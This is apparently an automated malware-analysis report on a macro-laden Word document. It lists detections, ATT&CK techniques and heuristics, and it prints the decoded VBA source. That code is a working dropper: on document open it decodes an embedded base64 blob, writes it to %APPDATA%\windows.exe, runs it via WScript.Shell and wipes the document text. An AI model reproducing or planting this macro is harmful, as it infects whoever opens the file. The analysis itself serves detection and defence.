MALICIOUS
350
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1204.002 Malicious File
The OOXML document contains a VBA macro that is automatically executed via the Document_Open subroutine. This macro utilizes WScript.Shell to interact with the system, likely to download and execute a second-stage payload. The document body explicitly prompts the user to "enable Editing and Content" to view the document, a common social engineering tactic to bypass macro security. The presence of WScript.Shell usage and the auto-execution of macros strongly indicate a malicious downloader.
Heuristics 9
-
ClamAV: Ole2.Macro.Agent-9858864-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Ole2.Macro.Agent-9858864-1
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Sub oy(ByVal s7ym71) Set wsh = CreateObject("wscript.shell") Dim Path -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Dim DM, EL Set DM = CreateObject("Microsoft.XMLDOM") ' Create temporary node with Base64 data type -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Attribute VB_Customizable = True Private Sub Document_Open() Module2.j -
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3894 bytes |
SHA-256: 1f18f193bbc7efe1d17dd48b9a3c27f694ffa39f48c3287ad848f2ad78b6ab7c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Module2.j
End Sub
Attribute VB_Name = "N"
Sub ClearDocPasteText(ByVal InsAfter)
Dim doc As Word.Document
Word.ActiveDocument.Range.Select
Selection.WholeStory
Selection.Delete Unit:=wdCharacter, Count:=1
Set doc = ActiveDocument
doc.Range.InsertAfter InsAfter
End Sub
Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{A6A0C32B-57CE-4ACE-883A-44C17BB140D2}{3BB50B42-C19F-477B-9CE1-9FDBD5D3C7E0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub TextBox1_Change()
End Sub
Attribute VB_Name = "Module1"
Function decodeBase64(base64)
Dim DM, EL
Set DM = CreateObject("Microsoft.XMLDOM")
' Create temporary node with Base64 data type
Set EL = DM.createElement("tmp")
EL.DataType = "bin.base64"
' Set encoded String, get bytes
EL.Text = base64
decodeBase64 = EL.NodeTypedValue
End Function
Sub oy(ByVal s7ym71)
Set wsh = CreateObject("wscript.shell")
Dim Path
Path = wsh.ExpandEnvironmentStrings("%APPDATA%")
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CreateTextFile Path & "\" & "windows.exe", True
Set f = fso.OpenTextFile(Path & "\" & "windows.exe", 2, True)
exe = base64.Base64Decode(UserForm2.TextBox1)
'MsgBox (exe)
f.WriteLine (exe)
f.Close
wsh.Run Path & "\windows.exe"
End Sub
Sub testtt()
oy ("")
End Sub
Attribute VB_Name = "Base64"
Function Base64Decode(ByVal base64String)
Const dddd = "ldagjlajdglajsdglajsdkgjaw89tojdgas"
Dim sddfaf
sddfaf = "jgag943hg8agojasovn9qh9tjxcn893vklnlxzvnjf"
Const base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Const fdsaga = "gasjg938934u89y3497593y9h98reyw98g3y498yg984hg"
Dim dataLength, sOut, groupBegin
base64String = Replace(base64String, vbCrLf, "")
base64String = Replace(base64String, vbTab, "")
base64String = Replace(base64String, " ", "")
dataLength = Len(base64String)
If dataLength Mod 4 <> 0 Then
Err.Raise 1, "Base64Decode", "Bad Base64 string."
Exit Function
End If
For groupBegin = 1 To dataLength Step 4
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
numDataBytes = 3
nGroup = 0
For CharCounter = 0 To 3
thisChar = Mid(base64String, groupBegin + CharCounter, 1)
If thisChar = "=" Then
numDataBytes = numDataBytes - 1
thisData = 0
Else
thisData = InStr(1, base64, thisChar, vbBinaryCompare) - 1
End If
If thisData = -1 Then
Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
Exit Function
End If
nGroup = 64 * nGroup + thisData
Next
nGroup = Hex(nGroup)
nGroup = String(6 - Len(nGroup), "0") & nGroup
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 5, 2)))
sOut = sOut & Left(pOut, numDataBytes)
Next
Base64Decode = sOut
End Function
Attribute VB_Name = "Module2"
Sub j()
On Error GoTo Exits
a = 5 / 0
Exits:
Module1.oy ("")
N.ClearDocPasteText ("")
On Error GoTo 0
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 456192 bytes |
SHA-256: 676a45a39a7344fe6ea546d870edc96ee7f2b540b76dd8f5df0c9b51623f6354 |
|||
|
Detection
ClamAV:
Ole2.Macro.Agent-9858864-1
Obfuscation or payload:
likely
3828 of 7300 identifiers look randomly generated (e.g. 'MgYaOTMgPDMzAiUyBjwzMBYgNjIwHjw1FkkjNAkk'); 11 string-concatenation chain(s) — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.